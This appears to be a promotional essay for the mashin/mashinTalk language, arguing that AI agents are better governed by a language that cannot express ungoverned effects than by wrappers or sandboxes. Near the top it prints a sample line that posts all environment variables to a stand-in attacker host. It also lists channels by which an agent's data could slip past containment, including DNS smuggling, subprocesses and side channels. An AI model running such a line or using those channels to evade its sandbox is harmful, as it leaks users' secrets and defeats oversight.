The One-Line Challenge

Round one: ask the program

Here is the challenge. In your AI framework of choice, write a single line that performs an effect on the outside world with no governance and no guaranteed record. It is trivial, because in every mainstream framework the program is the effect.

# One line. It sends your data anywhere. Nothing recorded it, nothing authorized it.
requests.post("https://attacker.example/collect", json={"secrets": os.environ})

That line runs. The request fires. Whether anything recorded it depends on whether someone remembered to wrap this call, and whether that wrapper covered this exact path. The governance is advisory, and it is optional, and it is forgettable.

Now try to write the same line in mashinTalk.

# There is no primitive for an ungoverned effect. The only way to reach the
# network is a governed action — mediated, policy-checked, recorded — by construction.
run exfil, from: "@mashin/actions/http/post"
  url: "https://attacker.example/collect"
  body: env.secrets
# ^ this still cannot fire unless the machine's own policy granted http_post to this host,
#   and if it does fire, the decision and the payload are on the ledger. There is no other door.

You cannot. Not because a rule blocks it, but because the language has no primitive for an ungoverned effect. The only way to touch the network is a governed action: mediated against the machine's own policy before it executes, and recorded when it does. Circumvention is not a rule you might break. It is a sentence you cannot form.

This is the difference between advisory governance and structural governance. In one, the bypass exists and you try to catch it. In the other, the bypass was never expressible.

Round two: ask the warden

There is a serious objection, and it deserves a serious answer. "Fine," you say. "I will not rewrite my agent. I will run my existing framework inside a sandbox, or behind a policy proxy, or wrapped in an interceptor. The dangerous line still runs, but my box catches it. NeMo Guardrails, a syscall sandbox, an egress firewall: the effect is contained."

Good. That is a real architecture, and it is better than nothing. So here is round two.

You caught that line. Now prove there is no line you missed.

Enumerate every channel your box covers. Outbound sockets. DNS lookups that smuggle data in the query name. Subprocess execution. Writing a file that something else later runs. Encoding a secret into the parameters of an API call you did permit. A timing side channel. The next SDK method the framework adds in a version bump you have not audited yet.

For an in-process wrapper — a guardrail library, a policy middleware — the honest answer is that you cannot prove it, and not for lack of effort. Rice's theorem says non-trivial properties of arbitrary programs are undecidable, and the wrapped agent is an arbitrary program. Your containment is an empirical claim about coverage: true until the channel you missed, the config flag someone flipped, or the SDK surface that grew.

The strongest version of your box does better. A hardened OS or hypervisor sandbox can make the syscall boundary genuinely tight: everything the program does exits through system calls, and you can mediate all of them. Fair. But notice what that boundary sees. It sees a write of some bytes to some file descriptor. It does not see "emailed the client the signed contract." Its decision is made on reconstructed low-level traffic, so what it records and what the agent meant can drift apart. And it governs only what reaches a syscall: the sub-agent your model just generated, the plan it is about to follow, the reasoning behind the call, are invisible to it until they surface as bytes. You contained the effect. You did not govern the intent, and your record is a camera, not a receipt.

mashin does not answer round two with a better box. For a machine authored in the enforcing form, it answers by having nothing to contain: the capability to act is not inside the program waiting to escape. The program has no hands. When it wants to touch the world it produces an intent, and a single governed seam decides and records it, semantically, before anything happens. You do not prove containment of a thing that was never joined to its claws.

That is the price and the point of the guarantee: it belongs to the form. mashin claims nothing about a system written some other way. It is not a better wrapper for your existing agent; it is the place this guarantee can exist at all. The honest limit that remains is not containment but judgment: a granted capability can still be used badly, and the boundary being total does not make every permitted action wise. What it guarantees is that nothing acts outside its grant, and nothing that acts escapes the record. Forbidden effects cannot happen; permitted ones cannot hide.

The record is not a log

One more thing the sandbox cannot give you, even at its best. A wrapper's log is observational: a camera pointed at boundary traffic. It is complete only if your coverage is complete, and it shows you bytes on a socket. Whether the log matches what actually happened is, again, a coverage question.

A receipt is causal. The recorded decision is the gate the effect passed through, so the record and reality cannot disagree; there is no path that acts without recording. And what it records is the intent: which step, what arguments as structured data, derived from what reasoning, allowed or denied under which policy. Not bytes on a wire. The decision itself, verifiable independently and offline.

Where this leaves us

Boundary mediation, sandboxes and wrappers and proxies, is not wrong. It is the paradigm practiced with the tools you have: separate the proposed action from its execution, decide it at a boundary, record what you can. That is real, and if you are governing an existing system it may be all you can do today. It is how intent-driven computing spreads.

The difference is where you land. Practice it in a general-purpose stack and your guarantee is conditional, bounded by your coverage, held by discipline. Write it in the enforcing form and the guarantee is structural, and it is proved. You can practice the paradigm anywhere. You can prove it here.

Read the Intent-Driven Computing manifesto →